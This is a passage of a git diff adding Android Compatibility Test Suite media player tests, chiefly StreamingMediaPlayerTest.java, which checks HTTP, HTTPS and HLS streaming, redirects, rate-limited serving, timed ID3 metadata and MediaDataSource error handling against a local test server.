+                mp.setDataSource(outputFileLocation);
+                mp.prepareAsync();
+                Thread.sleep(SLEEP_TIME);
+                playAndStop(mp);
+            } finally {
+                mp.release();
+            }
+
+            Uri uri = Uri.parse(outputFileLocation);
+            mp = new MediaPlayer();
+            try {
+                mp.setDataSource(mContext, uri);
+                mp.prepareAsync();
+                Thread.sleep(SLEEP_TIME);
+                playAndStop(mp);
+            } finally {
+                mp.release();
+            }
+
+            try {
+                mp = MediaPlayer.create(mContext, uri);
+                playAndStop(mp);
+            } finally {
+                if (mp != null) {
+                    mp.release();
+                }
+            }
+
+            try {
+                mp = MediaPlayer.create(mContext, uri, getActivity().getSurfaceHolder());
+                playAndStop(mp);
+            } finally {
+                if (mp != null) {
+                    mp.release();
+                }
+            }
+        } finally {
+            outputFile.delete();
+        }
+    }
+
+    private void playAndStop(MediaPlayer mp) throws Exception {
+        mp.start();
+        Thread.sleep(SLEEP_TIME);
+        mp.stop();
+    }
+
+    private void recordMedia(String outputFile) throws Exception {
+        MediaRecorder mr = new MediaRecorder();
+        try {
+            mr.setAudioSource(MediaRecorder.AudioSource.MIC);
+            mr.setOutputFormat(MediaRecorder.OutputFormat.THREE_GPP);
+            mr.setAudioEncoder(MediaRecorder.AudioEncoder.AMR_NB);
+            mr.setOutputFile(outputFile);
+
+            mr.prepare();
+            mr.start();
+            Thread.sleep(SLEEP_TIME);
+            mr.stop();
+        } finally {
+            mr.release();
+        }
+    }
+
+    private boolean hasMicrophone() {
+        return getActivity().getPackageManager().hasSystemFeature(
+                PackageManager.FEATURE_MICROPHONE);
+    }
+
+    // Smoke test playback from a MediaDataSource.
+    @Test
+    public void testPlaybackFromAMediaDataSource() throws Exception {
+        final String res = "video_480x360_mp4_h264_1350kbps_30fps_aac_stereo_192kbps_44100hz.mp4";
+        final int duration = 10000;
+
+        Preconditions.assertTestFileExists(mInpPrefix + res);
+        if (!MediaUtils.hasCodecsForResource(mInpPrefix + res)) {
+            return;
+        }
+
+        TestMediaDataSource dataSource =
+                TestMediaDataSource.fromAssetFd(getAssetFileDescriptorFor(res));
+        // Test returning -1 from getSize() to indicate unknown size.
+        dataSource.returnFromGetSize(-1);
+        mMediaPlayer.setDataSource(dataSource);
+        playLoadedVideo(null, null, -1);
+        assertTrue(mMediaPlayer.isPlaying());
+
+        // Test pause and restart.
+        mMediaPlayer.pause();
+        Thread.sleep(SLEEP_TIME);
+        assertFalse(mMediaPlayer.isPlaying());
+        mMediaPlayer.start();
+        assertTrue(mMediaPlayer.isPlaying());
+
+        // Test reset.
+        mMediaPlayer.stop();
+        mMediaPlayer.reset();
+        mMediaPlayer.setDataSource(dataSource);
+        mMediaPlayer.prepare();
+        mMediaPlayer.start();
+        assertTrue(mMediaPlayer.isPlaying());
+
+        // Test seek. Note: the seek position is cached and returned as the
+        // current position so there's no point in comparing them.
+        mMediaPlayer.seekTo(duration - SLEEP_TIME);
+        while (mMediaPlayer.isPlaying()) {
+            Thread.sleep(SLEEP_TIME);
+        }
+    }
+
+    @Presubmit
+    @Test
+    public void testNullMediaDataSourceIsRejected() throws Exception {
+        try {
+            mMediaPlayer.setDataSource((MediaDataSource) null);
+            fail("Null MediaDataSource was accepted");
+        } catch (IllegalArgumentException e) {
+            // expected
+        }
+    }
+
+    @Presubmit
+    @Test
+    public void testMediaDataSourceIsClosedOnReset() throws Exception {
+        TestMediaDataSource dataSource = new TestMediaDataSource(new byte[0]);
+        mMediaPlayer.setDataSource(dataSource);
+        mMediaPlayer.reset();
+        assertTrue(dataSource.isClosed());
+    }
+
+    @Presubmit
+    @Test
+    public void testPlaybackFailsIfMediaDataSourceThrows() throws Exception {
+        final String res = "video_480x360_mp4_h264_1350kbps_30fps_aac_stereo_192kbps_44100hz.mp4";
+        Preconditions.assertTestFileExists(mInpPrefix + res);
+        if (!MediaUtils.hasCodecsForResource(mInpPrefix + res)) {
+            return;
+        }
+
+        setOnErrorListener();
+        TestMediaDataSource dataSource =
+                TestMediaDataSource.fromAssetFd(getAssetFileDescriptorFor(res));
+        mMediaPlayer.setDataSource(dataSource);
+        mMediaPlayer.prepare();
+
+        dataSource.throwFromReadAt();
+        mMediaPlayer.start();
+        assertTrue(mOnErrorCalled.waitForSignal());
+    }
+
+    @Presubmit
+    @Test
+    public void testPlaybackFailsIfMediaDataSourceReturnsAnError() throws Exception {
+        final String res = "video_480x360_mp4_h264_1350kbps_30fps_aac_stereo_192kbps_44100hz.mp4";
+        Preconditions.assertTestFileExists(mInpPrefix + res);
+        if (!MediaUtils.hasCodecsForResource(mInpPrefix + res)) {
+            return;
+        }
+
+        setOnErrorListener();
+        TestMediaDataSource dataSource =
+                TestMediaDataSource.fromAssetFd(getAssetFileDescriptorFor(res));
+        mMediaPlayer.setDataSource(dataSource);
+        mMediaPlayer.prepare();
+
+        dataSource.returnFromReadAt(-2);
+        mMediaPlayer.start();
+        assertTrue(mOnErrorCalled.waitForSignal());
+    }
+
+    @Presubmit
+    @Test
+    public void testSetOnRtpRxNoticeListenerWithoutPermission() {
+        try {
+            mMediaPlayer.setOnRtpRxNoticeListener(
+                    mContext, Runnable::run, (mp, noticeType, params) -> {});
+            fail();
+        } catch (IllegalArgumentException e) {
+            // Expected. We don't have the required permission.
+        }
+    }
+
+    @Presubmit
+    @Test
+    public void testSetOnRtpRxNoticeListenerWithPermission() {
+        try {
+            getInstrumentation().getUiAutomation().adoptShellPermissionIdentity();
+            mMediaPlayer.setOnRtpRxNoticeListener(
+                    mContext, Runnable::run, (mp, noticeType, params) -> {});
+        } finally {
+            getInstrumentation().getUiAutomation().dropShellPermissionIdentity();
+        }
+    }
+}
diff --git a/tests/tests/media/player/src/android/media/player/cts/StreamingMediaPlayerTest.java b/tests/tests/media/player/src/android/media/player/cts/StreamingMediaPlayerTest.java
new file mode 100644
index 0000000..3132ddb
--- /dev/null
+++ b/tests/tests/media/player/src/android/media/player/cts/StreamingMediaPlayerTest.java
@@ -0,0 +1,728 @@
+/*
+ * Copyright (C) 2011 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.media.player.cts;
+
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
+
+import android.media.MediaFormat;
+import android.media.MediaPlayer;
+import android.media.MediaPlayer.TrackInfo;
+import android.media.TimedMetaData;
+import android.media.cts.MediaPlayerTestBase;
+import android.media.cts.NonMediaMainlineTest;
+import android.media.cts.Preconditions;
+import android.net.Uri;
+import android.os.Bundle;
+import android.os.Looper;
+import android.os.PowerManager;
+import android.os.SystemClock;
+import android.platform.test.annotations.AppModeFull;
+import android.test.InstrumentationTestRunner;
+import android.util.Log;
+import android.webkit.cts.CtsTestServer;
+
+import androidx.test.ext.junit.runners.AndroidJUnit4;
+
+import com.android.compatibility.common.util.DynamicConfigDeviceSide;
+import com.android.compatibility.common.util.MediaUtils;
+
+import java.io.IOException;
+import java.io.InterruptedIOException;
+import java.net.HttpCookie;
+import java.net.Socket;
+import java.util.concurrent.atomic.AtomicInteger;
+import org.apache.http.impl.DefaultHttpServerConnection;
+import org.apache.http.impl.io.SocketOutputBuffer;
+import org.apache.http.io.SessionOutputBuffer;
+import org.apache.http.params.HttpParams;
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.util.HashMap;
+import java.util.List;
+import java.util.Map;
+
+/**
+ * Tests of MediaPlayer streaming capabilities.
+ */
+@NonMediaMainlineTest
+@AppModeFull(reason = "TODO: evaluate and port to instant")
+@RunWith(AndroidJUnit4.class)
+public class StreamingMediaPlayerTest extends MediaPlayerTestBase {
+
+    private static final String TAG = "StreamingMediaPlayerTest";
+    static final String mInpPrefix = WorkDir.getMediaDirString() + "assets/";
+
+    private static final String HTTP_H263_AMR_VIDEO_1_KEY =
+            "streaming_media_player_test_http_h263_amr_video1";
+    private static final String HTTP_H263_AMR_VIDEO_2_KEY =
+            "streaming_media_player_test_http_h263_amr_video2";
+    private static final String HTTP_H264_BASE_AAC_VIDEO_1_KEY =
+            "streaming_media_player_test_http_h264_base_aac_video1";
+    private static final String HTTP_H264_BASE_AAC_VIDEO_2_KEY =
+            "streaming_media_player_test_http_h264_base_aac_video2";
+    private static final String HTTP_MPEG4_SP_AAC_VIDEO_1_KEY =
+            "streaming_media_player_test_http_mpeg4_sp_aac_video1";
+    private static final String HTTP_MPEG4_SP_AAC_VIDEO_2_KEY =
+            "streaming_media_player_test_http_mpeg4_sp_aac_video2";
+    private static final String MODULE_NAME = "CtsMediaPlayerTestCases";
+
+    private static final int LOCAL_HLS_BITS_PER_MS = 100 * 1000;
+
+    private DynamicConfigDeviceSide dynamicConfig;
+
+    private CtsTestServer mServer;
+
+    private String mInputUrl;
+
+    @Before
+    @Override
+    public void setUp() throws Throwable {
+        // if launched with InstrumentationTestRunner to pass a command line argument
+        // TODO(b/194655325#comment3): Replace the following code snippet with non-deprecated
+        // components.
+        if (getInstrumentation() instanceof InstrumentationTestRunner) {
+            InstrumentationTestRunner testRunner =
+                    (InstrumentationTestRunner)getInstrumentation();
+
+            Bundle arguments = testRunner.getArguments();
+            mInputUrl = arguments.getString("url");
+            Log.v(TAG, "setUp: arguments: " + arguments);
+            if (mInputUrl != null) {
+                Log.v(TAG, "setUp: arguments[url] " + mInputUrl);
+            }
+        }
+
+        super.setUp();
+        dynamicConfig = new DynamicConfigDeviceSide(MODULE_NAME);
+    }
+
+    @After
+    @Override
+    public void tearDown() {
+        super.tearDown();
+    }
+
+/* RTSP tests are more flaky and vulnerable to network condition.
+   Disable until better solution is available
+    // Streaming RTSP video from YouTube
+    public void testRTSP_H263_AMR_Video1() throws Exception {
+        playVideoTest("rtsp://v2.cache7.c.youtube.com/video.3gp?cid=0x271de9756065677e"
+                + "&fmt=13&user=android-device-test", 176, 144);
+    }
+    public void testRTSP_H263_AMR_Video2() throws Exception {
+        playVideoTest("rtsp://v2.cache7.c.youtube.com/video.3gp?cid=0xc80658495af60617"
+                + "&fmt=13&user=android-device-test", 176, 144);
+    }
+
+    public void testRTSP_MPEG4SP_AAC_Video1() throws Exception {
+        playVideoTest("rtsp://v2.cache7.c.youtube.com/video.3gp?cid=0x271de9756065677e"
+                + "&fmt=17&user=android-device-test", 176, 144);
+    }
+    public void testRTSP_MPEG4SP_AAC_Video2() throws Exception {
+        playVideoTest("rtsp://v2.cache7.c.youtube.com/video.3gp?cid=0xc80658495af60617"
+                + "&fmt=17&user=android-device-test", 176, 144);
+    }
+
+    public void testRTSP_H264Base_AAC_Video1() throws Exception {
+        playVideoTest("rtsp://v2.cache7.c.youtube.com/video.3gp?cid=0x271de9756065677e"
+                + "&fmt=18&user=android-device-test", 480, 270);
+    }
+    public void testRTSP_H264Base_AAC_Video2() throws Exception {
+        playVideoTest("rtsp://v2.cache7.c.youtube.com/video.3gp?cid=0xc80658495af60617"
+                + "&fmt=18&user=android-device-test", 480, 270);
+    }
+*/
+    // Streaming HTTP video from YouTube
+    @Test
+    public void testHTTP_H263_AMR_Video1() throws Exception {
+        if (!MediaUtils.checkDecoder(MediaFormat.MIMETYPE_VIDEO_H263, MediaFormat.MIMETYPE_AUDIO_AMR_NB)) {
+            return; // skip
+        }
+
+        String urlString = dynamicConfig.getValue(HTTP_H263_AMR_VIDEO_1_KEY);
+        playVideoTest(urlString, 176, 144);
+    }
+
+    @Test
+    public void testHTTP_H263_AMR_Video2() throws Exception {
+        if (!MediaUtils.checkDecoder(MediaFormat.MIMETYPE_VIDEO_H263, MediaFormat.MIMETYPE_AUDIO_AMR_NB)) {
+            return; // skip
+        }
+
+        String urlString = dynamicConfig.getValue(HTTP_H263_AMR_VIDEO_2_KEY);
+        playVideoTest(urlString, 176, 144);
+    }
+
+    @Test
+    public void testHTTP_MPEG4SP_AAC_Video1() throws Exception {
+        if (!MediaUtils.checkDecoder(MediaFormat.MIMETYPE_VIDEO_MPEG4)) {
+            return; // skip
+        }
+
+        String urlString = dynamicConfig.getValue(HTTP_MPEG4_SP_AAC_VIDEO_1_KEY);
+        playVideoTest(urlString, 176, 144);
+    }
+
+    @Test
+    public void testHTTP_MPEG4SP_AAC_Video2() throws Exception {
+        if (!MediaUtils.checkDecoder(MediaFormat.MIMETYPE_VIDEO_MPEG4)) {
+            return; // skip
+        }
+
+        String urlString = dynamicConfig.getValue(HTTP_MPEG4_SP_AAC_VIDEO_2_KEY);
+        playVideoTest(urlString, 176, 144);
+    }
+
+    @Test
+    public void testHTTP_H264Base_AAC_Video1() throws Exception {
+        if (!MediaUtils.checkDecoder(MediaFormat.MIMETYPE_VIDEO_AVC)) {
+            return; // skip
+        }
+
+        String urlString = dynamicConfig.getValue(HTTP_H264_BASE_AAC_VIDEO_1_KEY);
+        playVideoTest(urlString, 640, 360);
+    }
+
+    @Test
+    public void testHTTP_H264Base_AAC_Video2() throws Exception {
+        if (!MediaUtils.checkDecoder(MediaFormat.MIMETYPE_VIDEO_AVC)) {
+            return; // skip
+        }
+
+        String urlString = dynamicConfig.getValue(HTTP_H264_BASE_AAC_VIDEO_2_KEY);
+        playVideoTest(urlString, 640, 360);
+    }
+
+    // Streaming HLS video downloaded from YouTube
+    @Test
+    public void testHLS() throws Exception {
+        if (!MediaUtils.checkDecoder(MediaFormat.MIMETYPE_VIDEO_AVC)) {
+            return; // skip
+        }
+
+        // Play stream for 60 seconds
+        // limit rate to workaround multiplication overflow in framework
+        localHlsTest("hls_variant/index.m3u8", 60 * 1000, LOCAL_HLS_BITS_PER_MS, false /*isAudioOnly*/);
+    }
+
+    @Test
+    public void testHlsWithHeadersCookies() throws Exception {
+        if (!MediaUtils.checkDecoder(MediaFormat.MIMETYPE_VIDEO_AVC)) {
+            return; // skip
+        }
+
+        // TODO: fake values for headers/cookies till we find a server that actually needs them
+        HashMap<String, String> headers = new HashMap<>();
+        headers.put("header0", "value0");
+        headers.put("header1", "value1");
+
+        String cookieName = "auth_1234567";
+        String cookieValue = "0123456789ABCDEF0123456789ABCDEF";
+        HttpCookie cookie = new HttpCookie(cookieName, cookieValue);
+        cookie.setHttpOnly(true);
+        cookie.setDomain("www.youtube.com");
+        cookie.setPath("/");        // all paths
+        cookie.setSecure(false);
+        cookie.setDiscard(false);
+        cookie.setMaxAge(24 * 3600);  // 24hrs
+
+        java.util.Vector<HttpCookie> cookies = new java.util.Vector<HttpCookie>();
+        cookies.add(cookie);
+
+        // Play stream for 60 seconds
+        // limit rate to workaround multiplication overflow in framework
+        localHlsTest("hls_variant/index.m3u8", 60 * 1000, LOCAL_HLS_BITS_PER_MS, false /*isAudioOnly*/);
+    }
+
+    @Test
+    public void testHlsSampleAes_bbb_audio_only_overridable() throws Exception {
+        if (!MediaUtils.checkDecoder(MediaFormat.MIMETYPE_VIDEO_AVC)) {
+            return; // skip
+        }
+
+        // Play stream for 60 seconds
+        if (mInputUrl != null) {
+            // if url override provided
+            playLiveAudioOnlyTest(mInputUrl, 60 * 1000);
+        } else {
+            localHlsTest("audio_only/index.m3u8", 60 * 1000, -1, true /*isAudioOnly*/);
+        }
+
+    }
+
+    @Test
+    public void testHlsSampleAes_bbb_unmuxed_1500k() throws Exception {
+        if (!MediaUtils.checkDecoder(MediaFormat.MIMETYPE_VIDEO_AVC)) {
+            return; // skip
+        }
+        MediaFormat format = MediaFormat.createVideoFormat(MediaFormat.MIMETYPE_VIDEO_AVC, 1920, 1080);
+        String[] decoderNames = MediaUtils.getDecoderNames(false, format);
+
+        if (decoderNames.length == 0) {
+            MediaUtils.skipTest("No decoders for " + format);
+        } else {
+            // Play stream for 60 seconds
+            localHlsTest("unmuxed_1500k/index.m3u8", 60 * 1000, -1, false /*isAudioOnly*/);
+        }
+    }
+
+
+    // Streaming audio from local HTTP server
+    @Test
+    public void testPlayMp3Stream1() throws Throwable {
+        localHttpAudioStreamTest("ringer.mp3", false, false);
+    }
+    @Test
+    public void testPlayMp3Stream2() throws Throwable {
+        localHttpAudioStreamTest("ringer.mp3", false, false);
+    }
+    @Test
+    public void testPlayMp3StreamRedirect() throws Throwable {
+        localHttpAudioStreamTest("ringer.mp3", true, false);
+    }
+    @Test
+    public void testPlayMp3StreamNoLength() throws Throwable {
+        localHttpAudioStreamTest("noiseandchirps.mp3", false, true);
+    }
+    @Test
+    public void testPlayOggStream() throws Throwable {
+        localHttpAudioStreamTest("noiseandchirps.ogg", false, false);
+    }
+    @Test
+    public void testPlayOggStreamRedirect() throws Throwable {
+        localHttpAudioStreamTest("noiseandchirps.ogg", true, false);
+    }
+    @Test
+    public void testPlayOggStreamNoLength() throws Throwable {
+        localHttpAudioStreamTest("noiseandchirps.ogg", false, true);
+    }
+    @Test
+    public void testPlayMp3Stream1Ssl() throws Throwable {
+        localHttpsAudioStreamTest("ringer.mp3", false, false);
+    }
+
+    private void localHttpAudioStreamTest(final String name, boolean redirect, boolean nolength)
+            throws Throwable {
+        mServer = new CtsTestServer(mContext);
+        Preconditions.assertTestFileExists(mInpPrefix + name);
+        try {
+            String stream_url = null;
+            if (redirect) {
+                // Stagefright doesn't have a limit, but we can't test support of infinite redirects
+                // Up to 4 redirects seems reasonable though.
+                stream_url = mServer.getRedirectingAssetUrl(mInpPrefix + name, 4);
+            } else {
+                stream_url = mServer.getAssetUrl(mInpPrefix + name);
+            }
+            if (nolength) {
+                stream_url = stream_url + "?" + CtsTestServer.NOLENGTH_POSTFIX;
+            }
+
+            if (!MediaUtils.checkCodecsForPath(mContext, stream_url)) {
+                return; // skip
+            }
+
+            mMediaPlayer.setDataSource(stream_url);
+
+            mMediaPlayer.setDisplay(getActivity().getSurfaceHolder());
+            mMediaPlayer.setScreenOnWhilePlaying(true);
+
+            mOnBufferingUpdateCalled.reset();
+            mMediaPlayer.setOnBufferingUpdateListener(new MediaPlayer.OnBufferingUpdateListener() {
+                @Override
+                public void onBufferingUpdate(MediaPlayer mp, int percent) {
+                    mOnBufferingUpdateCalled.signal();
+                }
+            });
+            mMediaPlayer.setOnErrorListener(new MediaPlayer.OnErrorListener() {
+                @Override
+                public boolean onError(MediaPlayer mp, int what, int extra) {
+                    fail("Media player had error " + what + " playing " + name);
+                    return true;
+                }
+            });
+
+            assertFalse(mOnBufferingUpdateCalled.isSignalled());
+            mMediaPlayer.prepare();
+
+            if (nolength) {
+                mMediaPlayer.start();
+                Thread.sleep(LONG_SLEEP_TIME);
+                assertFalse(mMediaPlayer.isPlaying());
+            } else {
+                mOnBufferingUpdateCalled.waitForSignal();
+                mMediaPlayer.start();
+                Thread.sleep(SLEEP_TIME);
+            }
+            mMediaPlayer.stop();
+            mMediaPlayer.reset();
+        } finally {
+            mServer.shutdown();
+        }
+    }
+    private void localHttpsAudioStreamTest(final String name, boolean redirect, boolean nolength)
+            throws Throwable {
+        mServer = new CtsTestServer(mContext, true);
+        Preconditions.assertTestFileExists(mInpPrefix + name);
+        try {
+            String stream_url = null;
+            if (redirect) {
+                // Stagefright doesn't have a limit, but we can't test support of infinite redirects
+                // Up to 4 redirects seems reasonable though.
+                stream_url = mServer.getRedirectingAssetUrl(mInpPrefix + name, 4);
+            } else {
+                stream_url = mServer.getAssetUrl(mInpPrefix + name);
+            }
+            if (nolength) {
+                stream_url = stream_url + "?" + CtsTestServer.NOLENGTH_POSTFIX;
+            }
+
+            mMediaPlayer.setDataSource(stream_url);
+
+            mMediaPlayer.setDisplay(getActivity().getSurfaceHolder());
+            mMediaPlayer.setScreenOnWhilePlaying(true);
+
+            mOnBufferingUpdateCalled.reset();
+            mMediaPlayer.setOnBufferingUpdateListener(
+                    (mp, percent) -> mOnBufferingUpdateCalled.signal());
+            mMediaPlayer.setOnErrorListener((mp, what, extra) -> {
+                fail("Media player had error " + what + " playing " + name);
+                return true;
+            });
+
+            assertFalse(mOnBufferingUpdateCalled.isSignalled());
+            try {
+                mMediaPlayer.prepare();
+            } catch (Exception ex) {
+                return;
+            }
+            fail("https playback should have failed");
+        } finally {
+            mServer.shutdown();
+        }
+    }
+
+    @Test
+    public void testPlayHlsStream() throws Throwable {
+        if (!MediaUtils.checkDecoder(MediaFormat.MIMETYPE_VIDEO_AVC)) {
+            return; // skip
+        }
+        localHlsTest("hls.m3u8", false, false, false /*isAudioOnly*/);
+    }
+
+    @Test
+    public void testPlayHlsStreamWithQueryString() throws Throwable {
+        if (!MediaUtils.checkDecoder(MediaFormat.MIMETYPE_VIDEO_AVC)) {
+            return; // skip
+        }
+        localHlsTest("hls.m3u8", true, false, false /*isAudioOnly*/);
+    }
+
+    @Test
+    public void testPlayHlsStreamWithRedirect() throws Throwable {
+        if (!MediaUtils.checkDecoder(MediaFormat.MIMETYPE_VIDEO_AVC)) {
+            return; // skip
+        }
+        localHlsTest("hls.m3u8", false, true, false /*isAudioOnly*/);
+    }
+
+    @Test
+    public void testPlayHlsStreamWithTimedId3() throws Throwable {
+        if (!MediaUtils.checkDecoder(MediaFormat.MIMETYPE_VIDEO_AVC)) {
+            Log.d(TAG, "Device doesn't have video codec, skipping test");
+            return;
+        }
+
+        mServer = new CtsTestServer(mContext);
+        Preconditions.assertTestFileExists(mInpPrefix + "prog_index.m3u8");
+        try {
+            // counter must be final if we want to access it inside onTimedMetaData;
+            // use AtomicInteger so we can have a final counter object with mutable integer value.
+            final AtomicInteger counter = new AtomicInteger();
+            String stream_url = mServer.getAssetUrl(mInpPrefix + "prog_index.m3u8");
+            mMediaPlayer.setDataSource(stream_url);
+            mMediaPlayer.setDisplay(getActivity().getSurfaceHolder());
+            mMediaPlayer.setScreenOnWhilePlaying(true);
+            mMediaPlayer.setWakeMode(mContext, PowerManager.PARTIAL_WAKE_LOCK);
+            mMediaPlayer.setOnTimedMetaDataAvailableListener(new MediaPlayer.OnTimedMetaDataAvailableListener() {
+                @Override
+                public void onTimedMetaDataAvailable(MediaPlayer mp, TimedMetaData md) {
+                    counter.incrementAndGet();
+                    int pos = mp.getCurrentPosition();
+                    long timeUs = md.getTimestamp();
+                    byte[] rawData = md.getMetaData();
+                    // Raw data contains an id3 tag holding the decimal string representation of
+                    // the associated time stamp rounded to the closest half second.
+
+                    int offset = 0;
+                    offset += 3; // "ID3"
+                    offset += 2; // version
+                    offset += 1; // flags
+                    offset += 4; // size
+                    offset += 4; // "TXXX"
+                    offset += 4; // frame size
+                    offset += 2; // frame flags
+                    offset += 1; // "\x03" : UTF-8 encoded Unicode
+                    offset += 1; // "\x00" : null-terminated empty description
+
+                    int length = rawData.length;
+                    length -= offset;
+                    length -= 1; // "\x00" : terminating null
+
+                    String data = new String(rawData, offset, length);
+                    int dataTimeUs = Integer.parseInt(data);
+                    assertTrue("Timed ID3 timestamp does not match content",
+                            Math.abs(dataTimeUs - timeUs) < 500000);
+                    assertTrue("Timed ID3 arrives after timestamp", pos * 1000 < timeUs);
+                }
+            });
+
+            final Object completion = new Object();
+            mMediaPlayer.setOnCompletionListener(new MediaPlayer.OnCompletionListener() {
+                int run;
+                @Override
+                public void onCompletion(MediaPlayer mp) {
+                    if (run++ == 0) {
+                        mMediaPlayer.seekTo(0);
+                        mMediaPlayer.start();
+                    } else {
+                        mMediaPlayer.stop();
+                        synchronized (completion) {
+                            completion.notify();
+                        }
+                    }
+                }
+            });
+
+            mMediaPlayer.prepare();
+            mMediaPlayer.start();
+            assertTrue("MediaPlayer not playing", mMediaPlayer.isPlaying());
+
+            int i = -1;
+            TrackInfo[] trackInfos = mMediaPlayer.getTrackInfo();
+            for (i = 0; i < trackInfos.length; i++) {
+                TrackInfo trackInfo = trackInfos[i];
+                if (trackInfo.getTrackType() == TrackInfo.MEDIA_TRACK_TYPE_METADATA) {
+                    break;
+                }
+            }
+            assertTrue("Stream has no timed ID3 track", i >= 0);
+            mMediaPlayer.selectTrack(i);
+
+            synchronized (completion) {
+                completion.wait();
+            }
+
+            // There are a total of 19 metadata access units in the test stream; every one of them
+            // should be received twice: once before the seek and once after.
+            assertTrue("Incorrect number of timed ID3s recieved", counter.get() == 38);
+        } finally {
+            mServer.shutdown();
+        }
+    }
+
+    private static class WorkerWithPlayer implements Runnable {
+        private final Object mLock = new Object();
+        private Looper mLooper;
+        private MediaPlayer mMediaPlayer;
+
+        /**
+         * Creates a worker thread with the given name. The thread
+         * then runs a {@link android.os.Looper}.
+         * @param name A name for the new thread
+         */
+        WorkerWithPlayer(String name) {
+            Thread t = new Thread(null, this, name);
+            t.setPriority(Thread.MIN_PRIORITY);
+            t.start();
+            synchronized (mLock) {
+                while (mLooper == null) {
+                    try {
+                        mLock.wait();
+                    } catch (InterruptedException ex) {
+                    }
+                }
+            }
+        }
+
+        public MediaPlayer getPlayer() {
+            return mMediaPlayer;
+        }
+
+        @Override
+        public void run() {
+            synchronized (mLock) {
+                Looper.prepare();
+                mLooper = Looper.myLooper();
+                mMediaPlayer = new MediaPlayer();
+                mLock.notifyAll();
+            }
+            Looper.loop();
+        }
+
+        public void quit() {
+            mLooper.quit();
+            mMediaPlayer.release();
+        }
+    }
+
+    @Test
+    public void testBlockingReadRelease() throws Throwable {
+
+        mServer = new CtsTestServer(mContext);
+
+        WorkerWithPlayer worker = new WorkerWithPlayer("player");
+        final MediaPlayer mp = worker.getPlayer();
+
+        Preconditions.assertTestFileExists(mInpPrefix + "noiseandchirps.ogg");
+        try {
+            String path = mServer.getDelayedAssetUrl(mInpPrefix + "noiseandchirps.ogg", 15000);
+            mp.setDataSource(path);
+            mp.setOnPreparedListener(new MediaPlayer.OnPreparedListener() {
+                @Override
+                public void onPrepared(MediaPlayer mp) {
+                    fail("prepare should not succeed");
+                }
+            });
+            mp.prepareAsync();
+            Thread.sleep(1000);
+            long start = SystemClock.elapsedRealtime();
+            mp.release();
+            long end = SystemClock.elapsedRealtime();
+            long releaseDuration = (end - start);
+            assertTrue("release took too long: " + releaseDuration, releaseDuration < 1000);
+        } catch (IllegalArgumentException e) {
+            fail(e.getMessage());
+        } catch (SecurityException e) {
+            fail(e.getMessage());
+        } catch (IllegalStateException e) {
+            fail(e.getMessage());
+        } catch (IOException e) {
+            fail(e.getMessage());
+        } catch (InterruptedException e) {
+            fail(e.getMessage());
+        } finally {
+            mServer.shutdown();
+        }
+
+        // give the worker a bit of time to start processing the message before shutting it down
+        Thread.sleep(5000);
+        worker.quit();
+    }
+
+    private void localHlsTest(final String name, boolean appendQueryString,
+            boolean redirect, boolean isAudioOnly) throws Exception {
+        localHlsTest(name, null, null, appendQueryString, redirect, 10, -1, isAudioOnly);
+    }
+
+    private void localHlsTest(final String name, int playTime, int bitsPerMs, boolean isAudioOnly)
+            throws Exception {
+        localHlsTest(name, null, null, false, false, playTime, bitsPerMs, isAudioOnly);
+    }
+
+    private void localHlsTest(String name, Map<String, String> headers, List<HttpCookie> cookies,
+            boolean appendQueryString, boolean redirect, int playTime, int bitsPerMs,
+            boolean isAudioOnly) throws Exception {
+        if (bitsPerMs >= 0) {
+            mServer = new CtsTestServer(mContext) {
+                @Override
+                protected DefaultHttpServerConnection createHttpServerConnection() {
+                    return new RateLimitHttpServerConnection(bitsPerMs);
+                }
+            };
+        } else {
+            mServer = new CtsTestServer(mContext);
+        }
+        Preconditions.assertTestFileExists(mInpPrefix + name);
+        try {
+            String stream_url = null;
+            if (redirect) {
+                stream_url = mServer.getQueryRedirectingAssetUrl(mInpPrefix + name);
+            } else {
+                stream_url = mServer.getAssetUrl(mInpPrefix + name);
+            }
+            if (appendQueryString) {
+                stream_url += "?foo=bar/baz";
+            }
+            if (isAudioOnly) {
+                playLiveAudioOnlyTest(Uri.parse(stream_url), headers, cookies, playTime);
+            } else {
+                playLiveVideoTest(Uri.parse(stream_url), headers, cookies, playTime);
+            }
+        } finally {
+            mServer.shutdown();
+        }
+    }
+
+    private static final class RateLimitHttpServerConnection extends DefaultHttpServerConnection {
+
+        private final int mBytesPerMs;
+        private int mBytesWritten;
+
+        public RateLimitHttpServerConnection(int bitsPerMs) {
+            mBytesPerMs = bitsPerMs / 8;
+        }
+
+        @Override
+        protected SessionOutputBuffer createHttpDataTransmitter(
+                Socket socket, int buffersize, HttpParams params) throws IOException {
+            return createSessionOutputBuffer(socket, buffersize, params);
+        }
+
+        SessionOutputBuffer createSessionOutputBuffer(
+                Socket socket, int buffersize, HttpParams params) throws IOException {
+            return new SocketOutputBuffer(socket, buffersize, params) {
+                @Override
+                public void write(int b) throws IOException {
+                    write(new byte[] {(byte)b});
+                }
+
+                @Override
+                public void write(byte[] b) throws IOException {
+                    write(b, 0, b.length);
+                }
+
+                @Override
+                public synchronized void write(byte[] b, int off, int len) throws IOException {
+                    mBytesWritten += len;
+                    if (mBytesWritten >= mBytesPerMs * 10) {
+                        int r = mBytesWritten % mBytesPerMs;
+                        int nano = 999999 * r / mBytesPerMs;
+                        delay(mBytesWritten / mBytesPerMs, nano);
+                        mBytesWritten = 0;
+                    }
+                    super.write(b, off, len);
+                }
+
+                private void delay(long millis, int nanos) throws IOException {
+                    try {
+                        Thread.sleep(millis, nanos);
+                        flush();
+                    } catch (InterruptedException e) {
+                        throw new InterruptedIOException();
+                    }
+                }
+
+            };
+        }
+    }
+
+}
diff --git a/tests/tests/media/player/src/android/media/player/cts/VideoSurfaceView.java b/tests/tests/media/player/src/android/media/player/cts/VideoSurfaceView.java
new file mode 100644
index 0000000..46f55a1
--- /dev/null
+++ b/tests/tests/media/player/src/android/media/player/cts/VideoSurfaceView.java
@@ -0,0 +1,141 @@
+/*
